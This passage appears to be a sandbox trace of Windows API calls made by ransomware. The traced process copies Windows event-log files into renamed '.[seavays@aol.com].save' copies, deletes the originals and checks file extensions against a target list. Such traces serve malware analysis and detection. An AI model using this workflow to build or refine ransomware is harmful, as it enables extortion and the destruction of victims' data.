hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x130, lpOverlapped=0x0) returned 1 [0065.178] SetEndOfFile (hFile=0x38c) returned 1 [0065.178] CloseHandle (hObject=0x38c) returned 1 [0065.180] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.180] SetEndOfFile (hFile=0x34c) returned 1 [0065.182] CloseHandle (hObject=0x34c) returned 1 [0065.182] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.182] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0065.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.182] lstrlenW (lpString=".doc") returned 4 [0065.182] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.182] lstrlenW (lpString=".docx") returned 5 [0065.182] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.182] lstrlenW (lpString=".pdf") returned 4 [0065.182] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.182] lstrlenW (lpString=".xls") returned 4 [0065.182] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString=".xlsx") returned 5 [0065.183] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.183] lstrlenW (lpString=".ppt") returned 4 [0065.183] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.183] lstrlenW (lpString=".zip") returned 4 [0065.183] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString=".rar") returned 4 [0065.183] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString=".bz2") returned 4 [0065.183] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString=".7z") returned 3 [0065.183] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.183] lstrlenW (lpString=".dbf") returned 4 [0065.183] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.183] lstrlenW (lpString=".1cd") returned 4 [0065.183] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.183] lstrlenW (lpString=".jpg") returned 4 [0065.183] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.183] lstrlenW (lpString=".doc") returned 4 [0065.183] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString=".docx") returned 5 [0065.183] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.183] lstrlenW (lpString=".pdf") returned 4 [0065.183] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.183] lstrlenW (lpString=".xls") returned 4 [0065.183] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.184] lstrlenW (lpString=".xlsx") returned 5 [0065.184] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.184] lstrlenW (lpString=".ppt") returned 4 [0065.184] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.184] lstrlenW (lpString=".zip") returned 4 [0065.184] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.184] lstrlenW (lpString=".rar") returned 4 [0065.184] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.184] lstrlenW (lpString=".bz2") returned 4 [0065.184] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.184] lstrlenW (lpString=".7z") returned 3 [0065.184] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.184] lstrlenW (lpString=".dbf") returned 4 [0065.184] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.184] lstrlenW (lpString=".1cd") returned 4 [0065.184] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.184] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0065.184] lstrlenW (lpString=".jpg") returned 4 [0065.184] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.184] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.184] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0065.184] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.185] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0065.185] CloseHandle (hObject=0x34c) returned 1 [0065.185] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0065.185] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.185] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.185] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.185] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.185] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0065.186] GetLastError () returned 0x0 [0065.186] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.189] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.191] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.191] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x12e, lpOverlapped=0x0) returned 1 [0065.191] SetEndOfFile (hFile=0x38c) returned 1 [0065.191] CloseHandle (hObject=0x38c) returned 1 [0065.194] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.195] SetEndOfFile (hFile=0x34c) returned 1 [0065.196] CloseHandle (hObject=0x34c) returned 1 [0065.196] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.196] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0065.196] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.196] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.196] lstrlenW (lpString=".doc") returned 4 [0065.197] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.197] lstrlenW (lpString=".docx") returned 5 [0065.197] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.197] lstrlenW (lpString=".pdf") returned 4 [0065.197] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.197] lstrlenW (lpString=".xls") returned 4 [0065.197] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.197] lstrlenW (lpString=".xlsx") returned 5 [0065.197] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.197] lstrlenW (lpString=".ppt") returned 4 [0065.197] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.197] lstrlenW (lpString=".zip") returned 4 [0065.197] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.197] lstrlenW (lpString=".rar") returned 4 [0065.197] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.197] lstrlenW (lpString=".bz2") returned 4 [0065.197] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.197] lstrlenW (lpString=".7z") returned 3 [0065.197] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.197] lstrlenW (lpString=".dbf") returned 4 [0065.197] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.197] lstrlenW (lpString=".1cd") returned 4 [0065.197] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.197] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.197] lstrlenW (lpString=".jpg") returned 4 [0065.197] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.198] lstrlenW (lpString=".doc") returned 4 [0065.198] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString=".docx") returned 5 [0065.198] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.198] lstrlenW (lpString=".pdf") returned 4 [0065.198] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString=".xls") returned 4 [0065.198] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString=".xlsx") returned 5 [0065.198] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.198] lstrlenW (lpString=".ppt") returned 4 [0065.198] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.198] lstrlenW (lpString=".zip") returned 4 [0065.198] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString=".rar") returned 4 [0065.198] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString=".bz2") returned 4 [0065.198] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString=".7z") returned 3 [0065.198] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.198] lstrlenW (lpString=".dbf") returned 4 [0065.198] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.198] lstrlenW (lpString=".1cd") returned 4 [0065.198] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.198] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0065.198] lstrlenW (lpString=".jpg") returned 4 [0065.198] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.199] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.199] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0065.199] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.199] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0065.199] CloseHandle (hObject=0x34c) returned 1 [0065.199] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0065.199] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.199] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.200] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.200] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.200] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0065.200] GetLastError () returned 0x0 [0065.200] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.721] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.723] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.725] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x128, lpOverlapped=0x0) returned 1 [0065.725] SetEndOfFile (hFile=0x38c) returned 1 [0065.725] CloseHandle (hObject=0x38c) returned 1 [0065.728] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.728] SetEndOfFile (hFile=0x34c) returned 1 [0065.730] CloseHandle (hObject=0x34c) returned 1 [0065.730] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.730] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0065.731] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.731] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.731] lstrlenW (lpString=".doc") returned 4 [0065.731] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.731] lstrlenW (lpString=".docx") returned 5 [0065.731] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.731] lstrlenW (lpString=".pdf") returned 4 [0065.731] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.731] lstrlenW (lpString=".xls") returned 4 [0065.731] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.731] lstrlenW (lpString=".xlsx") returned 5 [0065.731] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.731] lstrlenW (lpString=".ppt") returned 4 [0065.731] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.731] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.731] lstrlenW (lpString=".zip") returned 4 [0065.731] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.731] lstrlenW (lpString=".rar") returned 4 [0065.731] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.731] lstrlenW (lpString=".bz2") returned 4 [0065.731] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.731] lstrlenW (lpString=".7z") returned 3 [0065.731] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.731] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.731] lstrlenW (lpString=".dbf") returned 4 [0065.731] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.731] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.732] lstrlenW (lpString=".1cd") returned 4 [0065.732] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.732] lstrlenW (lpString=".jpg") returned 4 [0065.732] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.732] lstrlenW (lpString=".doc") returned 4 [0065.732] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString=".docx") returned 5 [0065.732] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.732] lstrlenW (lpString=".pdf") returned 4 [0065.732] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString=".xls") returned 4 [0065.732] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString=".xlsx") returned 5 [0065.732] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.732] lstrlenW (lpString=".ppt") returned 4 [0065.732] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.732] lstrlenW (lpString=".zip") returned 4 [0065.732] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString=".rar") returned 4 [0065.732] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString=".bz2") returned 4 [0065.732] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString=".7z") returned 3 [0065.732] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0065.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.732] lstrlenW (lpString=".dbf") returned 4 [0065.732] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0065.732] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.733] lstrlenW (lpString=".1cd") returned 4 [0065.733] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0065.733] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0065.733] lstrlenW (lpString=".jpg") returned 4 [0065.733] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0065.733] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0065.733] lstrlenW (lpString="Microsoft-Windows-TWinUI%4Operational.evtx") returned 42 [0065.733] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.733] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=69632) returned 1 [0065.733] CloseHandle (hObject=0x34c) returned 1 [0065.734] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 0x20 [0065.734] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0065.734] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0065.734] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.734] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.734] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0065.735] GetLastError () returned 0x0 [0065.735] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x11000, lpOverlapped=0x0) returned 1 [0065.737] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11010, lpOverlapped=0x0) returned 1 [0065.739] ReadFile (in: hFile=0x34c, lpBuffer=0x39ea020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0065.739] WriteFile (in: hFile=0x38c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x128, lpOverlapped=0x0) returned 1 [0065.739] SetEndOfFile (hFile=0x38c) returned 1 [0065.740] CloseHandle (hObject=0x38c) returned 1 [0065.742] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0065.742] SetEndOfFile (hFile=0x34c) returned 1 [0065.743] CloseHandle (hObject=0x34c) returned 1 [0065.743] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0065.743] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx")) returned 1 [0065.744] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.744] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.744] lstrlenW (lpString=".doc") returned 4 [0065.744] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0065.744] lstrlenW (lpString=".docx") returned 5 [0065.744] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0065.744] lstrlenW (lpString=".pdf") returned 4 [0065.744] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0065.744] lstrlenW (lpString=".xls") returned 4 [0065.744] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0065.744] lstrlenW (lpString=".xlsx") returned 5 [0065.744] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0065.744] lstrlenW (lpString=".ppt") returned 4 [0065.744] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0065.744] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 50 [0065.744] lstrlenW (lpString=".zip") returned 4 [0065.744] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0065.744] lstrlenW (lpString=".rar") returned 4 [0065.744] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0065.744] 